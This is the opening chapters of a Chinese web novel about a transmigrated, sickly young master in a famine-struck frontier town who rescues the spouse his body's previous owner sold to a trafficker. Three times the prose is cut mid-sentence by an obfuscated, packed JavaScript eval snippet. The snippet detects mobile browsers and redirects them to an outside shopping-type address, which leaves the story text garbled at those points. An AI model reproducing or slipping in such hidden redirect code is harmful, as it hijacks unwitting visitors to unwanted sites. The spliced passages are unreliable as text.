《逃荒路上养夫郎》 1. 举村逃荒1病秧子 丰朝西北边陲小镇,大坡村。 七月骄阳正盛,暑气蒸腾,龟裂成一块块的粟田里,两个穿着粗布短褐的汉子在烈日下挥汗如雨,扬起铲子吭哧吭哧挖着土,不时望向旁边直挺挺的尸体。 “真是白瞎了这张好脸,这富家少爷长得可真清贵好看,听说人是被活生生给气死的!” “气死?那倒是死得妙了,也不用吃那逃荒路的苦了,否则绝对得哭着求爹喊娘。”说着语带讥诮,瞬间觉得这富家少爷也不过如此。 “就这么着吧,随便葬了得了,管他会不会被什么东西扒出来。” “那富家奶奶好歹也给了十个铜板……” “怕什么,他这一身细皮嫩肉,要真喂饱了谁的肚子,还是造福生灵呢,省得坏事做尽,连亲人都不要他了!” 两个汉子嫌恶地走过来,刚要抬着丢进坑里的尸体却忽然睁开眼来,在阳光下透着一丝疑惑懵懂,漆黑、逼人。 “等等,别扔!” “啊!”两人吓得浑身一哆嗦,直接手一抖。 顾珉只觉一阵剧痛,身子急速下坠,随即梆硬的土粒子就刷拉拉砸在他的脸上。 后脑勺也咯噔一声,撞在了坑里的土块上。 “嘶——” “啊啊啊,诈尸了啊,娘耶,快跑!” “青天白日的,咋会闹鬼,不会是没死吧?” 等顾珉缓过来,好不容易从坑里爬出来,就见刚才那说话的两人早已跑出老远,惊恐的叫声却还传了过来。 “别别别回头,会被恶鬼缠身的!” “……抱歉。”顾珉苍白着脸道,其实他已经醒来好一会,只不过误以为他们是杀人埋尸的凶手,所以一直蛰伏着静观其变,直到听到他们那些对话。 原来他已经死了,还穿到了古代一个同名同姓因心疾发作而死的病秧子身上。 当下,他便迅速在脑海里将自己看过的小说过了一遍,庆幸自己没穿到那本跟自己同名同姓的小说里。 那是个太监。 不确定,又摸了一遍。 光是检查自己的这个动作,顾珉就疼得出了一头冷汗。 耳根也微微红烫了起来。 在二十一世纪,顾珉是个罕见的无触觉患者。 没有任何本体感觉,无法感知到自己的身体,冷、热、痛、痒等一切触感都和他绝缘,甚至无法正常行走,终生靠着轮椅度日。早在出生时就被断定活不到大,但最后还是坚、挺到了二十五岁。 也不知他跟原主谁更病弱一点,总归是他接管了这具残破之躯,体会到了从未有过的鲜活有力。 “就、就在那儿!”一阵子说话声打断了他的思绪。 “胡扯!大白天的……” “造孽啊!这种遭天谴连自个儿夫郎都卖的男人要是活了,老婆子绝对要再拍死他!” 刚准备迈步向他们走去的顾珉脚步一顿,这一大群人,各个扛着锹拿着锄头的,怕不是来者不善? 顾珉忙又将这具身体的记忆过了一遍,一时间竟愣在原地。 夫、夫郎?这是什么东西?男人可以娶男人?那叫哥儿的双性居然还能生孩子?甚至还有什么潮热期,成年后每三月发作一次,需、需要排解一二? 这还不是最重要的,原主有个算是青梅的心头白月光表弟,因为脚踏两只船,勾搭上了他的庶长兄,又加上他身体病弱缠绵病榻,原主娘就在外面为他相中个“丑夫郎”,还是大龄未嫁命硬之人,正好可以为他冲喜。 原主酷爱这个朝代流行的“柔弱纤细”的哥儿,对白月光更是情有独钟,自然对这个灰扑扑高大壮实还隐忍沉默、所有人都觉得“不堪入目,貌丑粗鄙”的哥儿很是看不上。 动辄打骂羞辱都是小事,在白月光和庶兄的挑拨下,更是成日将他当狗一样呼来喝去,让他做各种危险的事,最后更是在白月光一句轻描淡写的“卖了他”中,直接将他卖给了人贩子。 卖来的二两银子也双手捧给了他一心讨好的白月光,可惜被白月光联合庶兄嘲讽一番,原主直接心头一梗,暴毙而亡,被顾家的逃荒队伍抛在了这块荒郊野岭,给了几十文钱随便找人埋了了事。 这位阿婆便是亲眼目睹了当时的经过,丑夫郎像个廉价低贱的货物一样,在确定原主真的要卖了他后,就埋着头一声不吭地跟着人贩子走了,连头都没回一下。 “我锄死你个小兔崽子,你知道哥儿被卖会落到什么下场吗?”这婆子见人直勾勾站着,就气不打一处来,作势就要将锄头砸在顾珉身上。 “李阿婆!” “别!”众人一阵惊呼,这人一身绫罗绸缎,那上好的材质一看就来历不简单,这李阿婆一向清醒冷静,咋突然想不开要得罪这等贵人! 一只修长白皙的手及时握住锄把,李阿婆也没用多大的力气,顾珉轻松就拦了下来,面露一丝复杂,夹杂着对原主犯蠢的无奈。 “抱歉,我会把他找回来的。” 李阿婆讶异了一下,这富家少爷之前可不是这副谦逊好说话的模样,那趾高气扬不把人当人看的纨绔少爷姿态,简直让人想要唾一口! “你跟我说顶啥用,你对不起的是你那位可怜夫郎,现在怕是早已经……” 顾珉抿了抿干裂泛乌的唇,这个时代的哥儿异常艰难,除去子嗣困难,难有身孕,还有固定的潮热期会让他们失控难受,甚至因此被人打上各种卑贱不堪的标签。 被卖了的哥儿,更是轻则流落窑子青楼,任人玩弄凌辱,重则被带去荒区矿场或最底层军营,供那些长时间见不到女人哥儿的男人发泄,玩死玩残不在少数。 顾珉神色紧迫起来,“已经过去一天了,他会被那些人带到哪去?” 周围村民见状,“运气好的话,估计还在镇上集市贩卖,或者带去了县里牙行,运气不好,也差不多走到别个地儿了,这些人贩子四处游走买卖人口,居所也不定。” 当下朝代并非奴隶制,但这里是丰朝的边关地带,距离梁国很近,也因此频繁遭到胡人滋扰抢劫掳掠。 梁国贩卖人口都是家常便饭,连带着这里的民风也生猛彪悍,尤其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478973|201639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近几年西北之地连年大旱,寸草不生,为了糊口,养活一大家子,卖儿鬻女都是没办法的事。 一众村民没想到他们话没说完,这个长得清朗如画里走出来一样的小少爷就转头走了。 “等等,这位少爷,你是要去镇子上吗?我们预备去采货,不如一起?”一个衣衫打满补丁,满头白发的老汉对他笑得一脸慈和。 顾珉回头,注意到对方脸上的一丝讨好之色,有些不好意思,“我身上没钱……” 原本是有不少盘缠的,可为了献媚白月光,全都掏空送给了对方,却还被他嫌弃穷酸,激得原主将鞋面里藏的金叶子都抠了出来,却成全了庶兄他们的快活潇洒,也不知背地里被他们笑话成了什么样。 顾珉暗下眼眸,既然用了原主的身体,他也会替他报仇雪耻,定然不会就这样放过他们。 老旧牛车缓慢行驶在乡间小道上,赶车的是方才的老汉,也是大坡村的老村长,一路跟顾珉说着他们这两天的打算。 “胡人跟咱们一样闹饥荒,就跑咱地盘上抢东西,惹得到处都不安宁,绥州怕是守不住了。” “天杀的,胡人长得人高马大,各个彪悍凶狠,我们哪里能干得过,只能跑了!” “可要往哪逃呢,镇上的东西也买不起了,看看能不能换些其他嚼用……” 等到了驼峰镇上,顾珉脸色苍白地下了牛车,跟他们道谢告别,几个同坐牛车的村民撇了撇嘴。 “这算哪门子富家少爷,也太抠了,连个车钱都不付,村长你干啥还带着他?” “我瞧着他小小年纪一身病体,走两步都气喘吁吁,怕是会倒在半路上出个好歹,反正本就顺路。”老村长叹了口气。 “有啥用,这些有钱人家的公子哥儿少爷,可不值得半点同情,说不定心里有多嫌弃咱呢!”这些村民嫉恶如仇,对这些没过过一天苦日子的有钱人更是厌到了骨子里。 灾荒年头,这些赚得满盆钵的富户但凡施舍一二,他们也不会饿死那么多人! 就是逃灾的时候,他们都闻风而动,跑在了最前头,这个也不知哪家的小少爷,生的皮娇肉嫩、斯文俊秀,又病歪歪呼哧带喘的,怕是没两下就得折腾死了。 顾珉捂着一阵阵绞痛的胸口,确实在强撑着,路上也没多少力气跟他们打听寒暄,显得冷漠了些。 他看了看街上混乱惶急,不时东张西望像是在提防着什么的百姓,不禁心头一凛。 这时,一个手里攥着一小袋东西的妇人从他身旁跑过,紧跟着,就掠过一道瘦小的身影,一把夺了那妇人的东西! 那妇人显然也在警惕着,双手攥得死死的,两人拉扯着谁也不松手,狠狠一拽—— 哗啦啦,枯黄干瘪的稻谷流水一般撒在地上,妇人顿时扑过去。 “我的粮!这是我家的救命粮啊,你们谁也不准抢!” 可还是有一大群人冲了过去,在地上拼命抓着往怀里塞。 顾珉看着他们急赤白眼的模样,忍不住后背发寒,一扭头,就看到四周有不少人在紧紧盯着他。 2. 举村逃荒2寻夫郎 顾珉目光暗含警告地一一扫过去,那些人又若无其事地收回了视线。 可贪婪觊觎的注视并没有少,反而随着他加快脚步,引来了越来越多人的注意。 顾珉挺直的身体微微紧绷,在奔向大坡村人求助和前往那个贩卖人口的集市中,毫不犹豫地选择了后者。 眼前隐约划过一道低眉顺眼的安分身影,像个护院似的默默相守,但顾珉发现,自己怎么也想不起这具身体的夫郎长什么模样。 这下他深知,原主究竟有多不喜这个冲喜夫郎,成亲两年,竟是连对方长什么样,都没正眼瞧过! “卖牲口啰,人牲,畜牲都有,都是好价,走走瞧瞧嘞!” 人群最喧闹的地方,粗噶汉子的嗓音吸引了顾珉的注意,立马朝着那边走去,在地上扎堆的“人牲”中搜寻起来。 他们每个人脖颈后都插着截枯黄的草标,有老人孩子,也有男有女,还有那额心有一点“孕痣”的哥儿,被人围观得最多,甚至还有人猥琐地拨弄着那一个个哭唧唧连声求饶的哥儿。 “这个长得真水灵,就是孕痣颜色太深,也不知能不能生娃了。” “这位爷,水哥儿就生过两个娃,各个都是男娃,您把他带回去,保准明年就有大胖小子抱!” “这个呢,长得不像哥儿,有点丑,能不能便宜一些?” 闻言,被挡住视线的顾珉忙不迭冲过去,一把掀开那人,“别碰他!” “哎呦你谁啊!”正在讨价还价的男人被推了个屁股蹲,一脸怒意地捏起了拳头。 可撞见对方的模样,眼中划过一丝惊艳,不禁故意对旁边的人贩子道:“这哥儿长得不错,卖多少钱,超过五两银子我可不要!” 周围人顿时扑哧扑哧直笑,谁看不出来这是个男人,但他在那么大的太阳下,面皮白净剔透,竟像能折层光出来,嘴唇虽泛着病气的乌色,也不掩那漂亮的唇形,写意一般的隽秀眉眼,眼尾染着点怒意,似雪一般冰寒,简直比哥儿还要让人移不开眼。 “让开。”顾珉意识到自己认错了人,眸色冷沉,可他不想与这人计较。 亲眼看到哥儿的处境,他只想尽快找到这具身体的夫郎。 人群后方,不怎么惹人注目的巷口处,一个被锁着铁链关在笼子里的“男人”突然抬起眼来。 他怎么,听到那个人的声音了? “呵。”他不知想到什么,干裂的嘴唇恹恹地吐出一句,随即又垂下了不同一般哥儿的深邃面容,耷拉着披头散发的脑袋,死气沉沉地坐在笼子里。 蓦地,他感觉周围奇怪的一静,一片衣角出现在他眼角的地方,然后停了下来。 “木恩生。”顾珉嗓音轻快,蹲下来一把扶住笼子,直直看着里面穿着黑青色破布衫,蜷着一条腿伸着一条腿大剌剌坐在地上的“男人”。 这人确实长得半点不像哥儿,甚至比很多顾珉看到的男人还要宽肩窄腰,挺拔健实,一点都不纤细柔弱,不了解的只会当他是个男人。 先前还不知这人具体长什么模样,所以刚才险些认错。 但当看到他的第一眼,顾珉就松了口气,“我找到你了!” 木恩生蹭地抬起视线,不可思议地看着笼子外面的男人,“夫、夫主?!” 不,他在幻想些什么,这人只会打骂呵斥他,多看他一眼都嫌烦,恨不得让他滚得远远的。 彻底摆脱了他之后,他只会轻松快活,然后紧紧追在他喜欢的哥儿身后,很快就会把他忘得一干二净。 所以在震惊了一瞬之后,木恩生又垂下了脑袋,等着这阵幻觉散去。 “哎呦这位客官,您要买他吗?他可便宜了,我急着脱手,也不用您还价,只要您给一两八钱就卖给您!”人贩子看到有人对这人有意,比介绍刚才的水哥儿还要积极。 顾珉却有些生气,“把他身上的铁链解开,为什么要把他关在笼子里?” 就是其他成年男人都只是捆着手脚,也不知木恩生遭到了什么特殊对待。 “您先给钱!给了钱,我就把这人交给您,随您怎么处置!”人贩子抓耳挠腮,有些着急,好像终于逮到了个冤大头似的催促。 顾珉错愕,他是二两银子卖出去的,不过一天,就只要一两八钱就能买回来,怎么人贩子做赔本的买卖,还让他赚了个差价? 这时,他对上木恩生疑惑打量的视线,不由有些窘迫,“我,可以让我想办法筹一下银子吗,我待会就过来买他!” 人贩子顿时大失所望,这哪是要买的意思,分明是找了个由头婉拒了。 “你等等我,我很快就会回来!”顾珉将手伸进去,想要碰碰这个萎靡消沉的哥儿,想让他别怕。 木恩生却只是在他手上看了会儿,就又别开了视线,心里却有些打起鼓来。 这个虚假的“夫主”,怎么那么真实的感觉,可顾珉何时这样轻声细语地对他说过话,还对他露出这么明亮安抚的笑容,好像他真的会救他,愿意花银子买下他一样。 一旁的人贩子却被顾珉的举动吓了一跳,“千万别靠近他!他会伤人的,到时候伤了您我这里可不赔钱!” 顾珉起身,神色严肃又不悦,“不要卖了他,我去去就来!” 可他才刚离开几步,人贩子就气不过,骂骂咧咧地朝着笼子抽起了鞭子。 “谁会买他,不中用的玩意儿,老大咋带了这么个东西回来!” 顾珉看着光着半边膀子肌肉遒劲的人贩子几乎用尽了全身力气,朝着笼子里的哥儿挥舞鞭子,而木恩生也不躲不避,任由鞭风扫过面庞,甚至有几下,鞭尾抽进笼子,就要波及他的眼睛。 “住手!” 尽管已经不在乎是死是活,这一鞭子,木恩生还是倏地闭上了眼睛,心里一紧。 可一只手却比鞭子更快地抵达,紧紧攥住了鞭尾,挡住了那股力道,惹得木恩生心惊肉跳地看着这一幕。 顾珉被抽出去的力道扫过手背,直将那细嫩的皮肤划出一道口子,鞭子上好像还蘸了盐水,尖锐的刺痛席卷而来。 顾珉却很愤怒,面色不变地看着人贩子,“我说了,我会买他,你是聋子吗!” “这,我教训奴才是我们这里的规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478974|201639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩,反正他皮糙肉厚的不会被打坏。”人贩子有些讪讪,看着顾珉穿得斯文体面,不像个普通人,也不敢太蛮横。 “他不是奴才,他是我的人。”说完,顾珉深深地看了木恩生一眼,就赶忙离开。 走前,还不忘再次交代,“不要伤了他,我会买他。” 人贩子这下确定,这位少爷是真的会买这个人,忍不住哼了一声,“算你走运!” 木恩生却怔怔地看着走远的顾珉,“怎么会这样?” 他前脚毫不犹豫就将自己卖了,虽然自己本就是夫人买回来的,买卖他是顾珉的权利,可为何他后脚又做这副姿态,要把他救回去? 木恩生不觉得顾珉会做这种事,除非,又有人想看他的乐子,而顾珉不辞辛苦也要亲自讨那个人的欢心。 想通关窍,哥儿剧烈的心跳很快平静下来,甚至像被泼了盆凉水似的,继续垂下了头。 他甚至在想,或许顾珉只是来走个过场,给他希望之后,又将他打入谷底,毕竟顾珉身上已经一文钱都没了,他又从哪弄来买自己的银子。 顾珉走出人群,就眼前阵阵发黑,身子晃了几下,又被他强撑住了。 “我不能倒下。”倒下就完了,顾珉深呼吸了几次,压下胸口处翻江倒海似的绞痛,一步步艰难地朝着他不久前注意到的成衣铺走去。 “哎,这位少爷,您有什么要买的?”掌柜欣喜地迎上来,先敬罗衣后敬人,这少爷穿得一身华贵,那料子造价不菲,一看就很值钱。 “我,你觉得我这身衣服怎么样?”即便顾珉在现代出身底蕴不错的书香世家,也没见过这么上乘柔软又惊艳的布料,更别提上面的刺绣,每一处都是精工细作,专门设计。 单单裁下这几块刺绣,做个什么东西,都能卖出不错的价钱。 以原主挥霍奢侈的作风,吃穿用度无不用最好,哪怕逃荒了也不会委屈自己,这一身还是新的。 所以顾珉毫不犹豫就想卖了这身惹眼的衣服,虽然这一身行头让他得了不少便利,可也意味着“这人有钱好抢劫”。 “这身自然是极好的,不过我们店里没有这样极品的布料,倒是有仿制的,价钱更便宜,最重要的,足以以假乱真!”掌柜说得自己都有些不好意思,说这布料是宫廷贡品他都不意外,他们这小店又哪来那么好的上乘货。 顾珉却摇了摇头,“我能把这身衣服卖给您吗。” “啥?”掌柜一瞪眼,生意都做到自己跟前来了,这少爷怕不是个假冒的吧? 可一看对方周身气度,他又打消了这个怀疑,“我们不做这生意,您这衣服您穿着是正正好,想要卖出去却不容易,何况还是穿过的。” 顾珉有些失望,“哪怕几两银子也不收吗?” 几两银子……要是能卖出去,倒是能赚不少,可掌柜还是没应声。 顾珉只得道:“这附近有当铺吗,我去当铺看看能不能当点银子。” “这么着吧,当铺还在县里,您去了又是舟车劳顿,我出三两银子,再给您送一身新衣,您看要不要卖?”掌柜还是有些心动。 3. 举村逃荒3跟我走 三两银子顾珉已经很满意了,可想到他们脱离了顾家的逃荒队伍,虽然顾父早先察觉到生意不好做,早已带着大半身家去了临都,他们这支队伍只剩些老弱妇孺和不断使绊子的庶兄几人,可尚有打手护院护卫前行。 现今只剩下他跟木恩生,还不知能不能追上顾家的队伍,那么他们势必要多做些准备。 “四两银子,可以给我拿身差点的衣衫。”逃荒路上不需要穿太好,之前顾家就是因为太过招摇,又是绥州首富,遭到了不少流民和胡人觊觎抢劫。 否则那什么庶兄和白月光也不会惦记原主身上这点东西,将他盘剥压榨得一滴不剩。 “成交!”掌柜痛快应下,又给顾珉拿了身合身的成衣,顾珉特地强调要普通百姓穿的那种布衣。 可等掌柜给他拿了最不起眼的褐色窄袖短衣和长裤,活脱脱的力夫装扮,顾珉换上出来的时候,却还是难掩那一身斯文儒雅的气质,就连那普普通通的衣服都被衬得好看高贵了起来。 “多谢!”顾珉切切实实拿到了四两银子,顾不上松一口气,就忙离开。 刺眼的阳光带来一股强烈的眩晕感,顾珉感觉自己随时会倒下去,可还是咬破了嘴唇,朝着人贩子那里赶去。 “嘁,我还真信了那人的鬼话,这一去就不复返了,害我白高兴一场。”久久没等到顾珉回来,人贩子有些不耐烦了。 见这个壮哥儿毫无反应,好像被买也可以,不买也行,不吃不喝到现在,连话都不说一声,他就嫌弃道: “你真的是哥儿吗?莫不是男人假扮的?不如脱了裤子让我瞧瞧如何!” 这话一落,周围围观挑选的人立时来了兴趣,“这是个哥儿?不是在逗我吧,那可真够丑的,又黑又壮,不知道能不能跟男人一样下地干活。” “要哥儿下地作甚,那不如直接买个男人,还不会有潮热期,万一不检点在外面勾搭上野汉,再揣个崽,就要被笑掉大牙了!” “他都没长孕痣呢,估计不能生,卖到矿洞去多合适,不用反复怀崽落胎,惹一身腌臢。” 木恩生听着周围毫不客气的嘲讽,虽然以前也听过无数次,可他还是做不到无动于衷。 就在这时,人贩子忽然恶意地打开了笼子,“今儿个就让大家长长眼,瞧瞧这种丑哥儿底下长什么模样!” 木恩生猛地抬头,一双琥珀色似有草原之狼野性深远的眼眸瞬间充满攻击性,人贩子吓得一个回神,也不管周围人怎么起哄了,忙要退出去。 却突然,一道清冽又低沉的嗓音响起,“你们在做什么?” 哪怕这语气极度平静,可还是让人听出了里面淡淡的被冒犯的不爽和生气。 “这,客官您回来了?”人贩子似有些心虚,忙看向换了一身行头的顾珉,不过他并没有因此露出轻视,这位少爷的派头很足,身姿板正玉立,一张俊秀的脸轻易就能看出他优渥不俗的出身。 木恩生却觉得突兀极了,顾家的嫡少爷,千娇百宠的顾二公子,什么时候穿过这么简陋劣质的衣裳。 他去做了什么? 顾珉拿出二两银子,在人贩子眼睛一亮,忙要接过来的时候,又收了回去。 “向他道歉。” “什么?”人贩子不敢相信,向一个又丑又低贱的奴才道歉,这位少爷莫不是在耍着他玩? 顾珉抿了抿唇,强忍着什么,强调道:“道歉,他没做错什么,除非你不想赚这个银子。” “我,对不起,方才我不该那样戏弄你。”人贩子变得很快,咬着牙对木恩生道。 木恩生握紧了拳头,看着这个熟悉又陌生的男人,“少爷,您回吧,不用在我身上浪费银子。” 他受不起这种玩弄,会让他产生错觉,好像他也是个什么值得尊重的人一样。 可不是的,在顾家,在顾珉眼里,他甚至比这些人还要看轻自己,此时的温柔和善待,不过是他演出来的。 虽然他以前从没演过这一出,可木恩生本能的感到一丝警惕,仿佛自己一旦再跟着他走,就会陷入万丈深渊。 顾珉却摇晃了下身子,将二两银子给了人贩子,“不用找了,卖身契拿来。” 人贩子一喜,二话不说就掏出了木恩生的卖身契,正是昨日顾珉才丢出去的,这个夫郎,是他娘为他买来的,为的是在她去世后,能替她精心照料保护原主。 木恩生做的很好,原主却不买账,顾珉皱了皱眉头,看着坐在笼子里一动不动的哥儿,想说“跟我走”,身体却变得不像是他的,怎么也动不了。 下一瞬,顾珉面色煞白的直挺挺倒了下去。 人群一阵惊呼,木恩生却本能快过理智地起身冲过去,一把接住了男人,“少爷!” 想到什么,他忙有条不紊地从怀里掏出一个翠绿色小瓷瓶,里面还剩几颗价值连城的药丸,他倒出一颗就送入顾珉口中。 “水,有没有水?”少爷这状态看起来渴极,也不知他怎么一个人在外面晃荡,如若倒下,他肯定会出事。 所以哪怕木恩生不打算再跟着顾珉,也决定先把他送回顾家的队伍,或者找个安全的地方将他放下。 大家有水,却舍不得外借,这么热的天,水已经极难寻得,最后只能移开了眼睛。 木恩生一把将顾珉抱起,众人看着他轻轻松松像是抱着稻草人的模样,忍不住抽了抽嘴角,“果然不像哥儿!” 木恩生却只注意到顾珉惨无人色的病弱面容,少爷演得真像,明明都已经做了决断,还了顾家的恩情,他再也不欠他们什么。 可想起他方才的认真郑重,想到他毫不嫌弃朝自己伸出的手,木恩生紧了紧怀里的人。 最后一次,自己只会帮他最后一次。 “不会再有牵扯了!”木恩生对自己说道,然后将人放在了地上,不再用舒服的姿势,而是直接将他扛了起来,像是扛着个沙包死物似的。 大坡村老村长从集市回来,瞥了好几眼,才敢确定前方的人影,“顾少爷?是不是顾少爷晕倒了?” 木恩生警觉地看着对方。 “你是他夫郎吧?幸亏找到了,上午他吓得不轻,拖着刚醒的身体就要去找你,他没事吧?” 得知对方是谁,木恩生不禁松了口气,“他家人是不是在你们村附近,我这就把人送过去。” “早走了!”其中一个村民嗤道,“那些有钱人可不想沾我们地盘,不过是有路过的人向他们讨一些吃食,他们就嫌弃地跑了,这病秧子当时一口气没上来还以为人死了,结果又活过来了。” “什么?”他们竟然把少爷丢下了,那么宝贝少爷的二姨娘也不管他了吗? 木恩生不知后面究竟发生了什么,忧心忡忡地在老村长的建议下,坐上了去他们村的牛车。 顾珉半梦半醒间,感觉自己被精心照料着,一股清甜的水被喂到他嘴边,他下意识吞咽着,干渴燃烧的喉咙被轻轻抚平,绞痛的心口也回归平静。 等他再次睁开眼睛,却对上李阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478975|201639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆那张布满褶子的老脸,见他醒来,立马瞪了他一眼。 “昏睡了两天,也该醒了,赶紧走吧,身娇体贵的,我这儿可养不起!” 顾珉却看了看四周,是一间低矮破旧却被收拾得干净利落的茅草屋,不见他去救的那个人,有些失望,“他呢?” 想到什么,他忙在身上摸索了起来,一两多的碎银子和几百文铜钱还在,可那张卖身契却没了。 好像他去救人只是做了个梦,那个可怜的被卖的哥儿并没有被救回来。 “他……?” “谁?”李阿婆对顾珉的怨气好像更大了,语气很是凶巴巴的,“谁也没有,你赶紧走吧,老婆子可养不起多一个人!” “抱歉。”顾珉拿出那半两的碎银子,递给老人家,“这是给您照顾我的报酬。” “不要不要,你赶紧走吧,走了省事!”李阿婆赶人,何况这钱她拿的心虚,又不是她照顾的。 不过那傻哥儿交代了,不能跟这男人提及他的存在,既然他不稀罕他,他也不会再跟他过下去了。 李阿婆觉得木哥儿很清醒,很聪明,这种长得好又出身好的男人,才不懂得珍惜枕边人。 趁早摆脱才不会被他再卖一次,所以那张卖身契是李阿婆拿回去塞给木哥儿的。 顾珉趁着李阿婆不注意,还是留下了半两银子,咳嗽了两声,又看了李阿婆家的茅草屋两眼,就推开了院门,走了出去。 李阿婆见人走远,快步走向灶房,就见顾珉念叨的那人正在灶上忙活着,一张粗粮饼子接着一张粗粮饼子摊着,动作麻利又熟稔。 “人走了,给你留了半两银子。”李阿婆忍不住观察这哥儿的反应。 木恩生头也没抬,只动作顿了一下,然后继续若无其事地摊饼子,“这钱阿婆留着吧,给我留几张饼子就成。” “咋的,你这饼子不是帮我老婆子摊的,是给那病秧子准备的?”李阿婆猜出了他的打算。 “那你呢,过几天大家都去逃荒了,你去哪?” “我打算去隔壁县找我阿妹,她一个人在舅家我不放心。”说是这么说,可阿妹打小就聪明伶俐,他更不放心的是…… 顾珉感觉这次醒来身体清爽好受了很多,所以他跟村里人打听了一下,找到了老村长家。 老村长姓胡,这个村子有一大半人都姓胡,老村长当了几十年村长,有两儿一女,儿子大了闹龃龉吵着闹着说不公平,要分家产,最后得了各自想要的就被分出去过了。 如今老村长身边只有一个同样上了年纪的夫郎,腿脚有些不便,老两口相互扶持着日子过得清贫却乐和。 顾珉不由想到木恩生,哥儿处境那么艰难,他一个人就那样走了,会不会不安全? “顾少爷,你好些了没,你夫郎呢?咋没陪你一起,当时扛着你力气可大了,这下不怕你晕倒了。”老村长忍不住打趣,他活那么大,还从没见过哪个哥儿那么彪悍,直接将男人扛在肩上。 “扛,扛着我?”顾珉不敢想象,他虽然又瘦又弱,也好歹一米八了,扛起来得用多大的力气。 不过他不想探究太多,原主对夫郎那么恶劣,他可能已经死心想离开了,顾珉尊重且理解,所以道:“这是我当时没付的车钱,不知十文够不够?” 老村长想要推辞,顾珉却不想平白欠别人的,何况他还有事要麻烦人家。 “我来是想问一件事,我孤身寡人一个上路不太安全,能不能跟你们村人一起逃荒?” 4. 举村逃荒4和离书 顾珉知道自己说这话有些不知分寸,他一个病秧子帮不上什么忙,还极有可能拖他们后腿。 不过如果真到了那个时候,他会想办法弥补解决,解决不了,他自然不会真的麻烦别人。 来到人生地不熟的古代,还经历逃荒这样的劫难,又没一副好身体,顾珉自然不敢托大,单独上路有多少风险顾珉都可以想象,抱团取暖或许可以将各自的作用发挥到最大。 他想了很多说服老村长的理由,没想到对方想也不想就答应了,“这有什么不成的,大家扶老携幼的,一路互相帮衬,何况有你夫郎这样的人在身边照料,反而跟我们一起逃荒才是拖累。” 顾珉一僵,有些不知该如何开口,可到时候会被发现,他只得如实道:“我,我夫郎不一起,他走了。” “走了,往哪走?”老村长的夫郎陈夫郎瞪大眼睛,“你休了他?” 陈夫郎当时远远地瞅过一眼,这小少爷的夫郎确实与众不同,当时就有村里人说嘴说咋找了个这样的哥儿做夫郎,所以他能想到的就是顾珉踹了人家。 “你休了你夫郎!?”老村长的语气沉了下来,“你当时晕倒可是你夫郎救回来的,你前脚把他卖了,虽又赎了回来,可后脚又这样将他抛下,你让他怎么活?” “别的不说,没了丈夫在身边,他潮热期该咋过?你,你要是不喜欢人家,当初就不该娶了他祸害人家啊!”陈夫郎一脸不赞成,脸上也没了方才的热络。 老村长也有些想赶人了,村里人说这富家少爷不是的时候,他还没当回事,觉得他眼神清明坚定,根本不像个坏人。 他相信自己的眼力,没想到上了年纪老眼昏花,也有看走眼的时候。 顾珉不想自己只是一句话,他们就推测了那么多,他忙道:“不是我休他赶他走的,是他自己离开的,或许是我,我做了很多对不起他的事,所以他并不想看到我……” 顾珉也有些沮丧,虽然那都是原主做的恶,但既然享用了原主的身体,也该承担他的一切麻烦和罪过。 他会想办法赎罪弥补,可木恩生并没有给他这个机会,顾珉只能尊重他的选择。 陈夫郎审视了他一会,这才平静下来,“既然做错了事,那就去求得你夫郎原谅啊,什么都不做算怎么回事,倒不如给他一封和离书放他另嫁,也省得……” 潮热期发作起来,那可不是人能熬过来的,陈夫郎只经历过一次,那时潮热期突然提前,他好悬就活活痛死,更难受的是心理上的空虚落寞,没有丈夫在身边陪伴度过,他甚至生出轻生的念头。 当然这话,他不好对小辈说,给了老村长一个眼色。 老村长顿时拉着脸,“你要想跟我们一起上路,就必须陪着你夫郎一起,我们村可不会接纳一个忘恩负义薄情寡义的人。” 顾珉却摇了摇头,“如果他不愿,我不会逼着他的。”顾珉并不想为了自己逃荒路上的安全,就去逼迫别人做不想做的事。 求原谅的事他会做,但也要给对方不原谅的机会,毕竟如果他是木恩生的话,是绝对不会原谅自己的种种恶行。 他突然恳切地看向他们,“能不能给我纸笔,我写一封和离书。” 陈夫郎觉得这也是个可行的办法,老村长却不赞成地虎着脸,“走走走,连夫郎都照料不好的人,我怎么相信他的人品,和离了就是对他好吗?你倒是轻快了结了,回头再娶个年轻漂亮的,可被耽误的哥儿成了弃夫,有多少人能想得开的!” 老村长看得明白,像木恩生那样特别的哥儿,别说嫁人艰难了,想要二嫁,那是绝对不可能的事。 哪怕他能想得开,往后余生的孤寂和身体折磨也是一座大山,足以磋磨死一个人! 